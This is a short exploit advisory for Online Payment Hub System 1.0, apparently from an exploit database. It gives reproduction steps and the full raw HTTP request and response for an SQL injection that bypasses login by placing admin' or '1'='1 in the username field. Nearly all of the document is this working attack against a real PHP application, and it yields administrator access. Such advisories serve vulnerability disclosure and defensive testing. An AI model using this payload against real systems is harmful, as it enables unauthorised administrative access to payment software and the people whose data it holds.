Online Payment Hub System 1.0 SQL Injection

# Exploit Title: Online Payment Hub System - SQLi Authentication Bypass# Date: 29.05.2024# Exploit Author: Hamit Avşar# Vendor Homepage: https://www.sourcecodester.com/php/15018/online-payment-hub-using-php-and-paypal-free-source-code.html# Software Link: https://www.sourcecodester.com/download-code?nid=15018&title=Online+Payment+Hub+using+PHP+and+PayPal+Free+Source+Code# Version: 1.0# Tested on: Windows 11, Kali Linux# Online Payment Hub System v1.0 Login page can be bypassed with a simple SQLi to the username parameter.Steps To Reproduce:1 - Go to the login page http://localhost/oph/admin/login.php2 - Enter the payload to username field as "admin' or '1'='1" without double-quotes and type anything to password field.3 - Click on "Login" button and you are logged in as administrator.PoCRequestPOST /oph/classes/Login.php?f=login HTTP/1.1Host: localhostContent-Length: 42sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"Accept: */*Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36sec-ch-ua-platform: "Windows"Origin: http://localhostSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost/oph/admin/login.phpAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9f8v4097jovtf6a3igi4l6479iConnection: closeusername=admin'+or+'1'%3D'1&password=hamit--------------------------------------------------------------------------------------------------------------------------------responseHTTP/1.1 200 OKDate: Wed, 29 May 2024 17:15:28 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30X-Powered-By: PHP/8.0.30Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheAccess-Control-Allow-Origin: *Content-Length: 20Connection: closeContent-Type: text/html; charset=UTF-8{"status":"success"}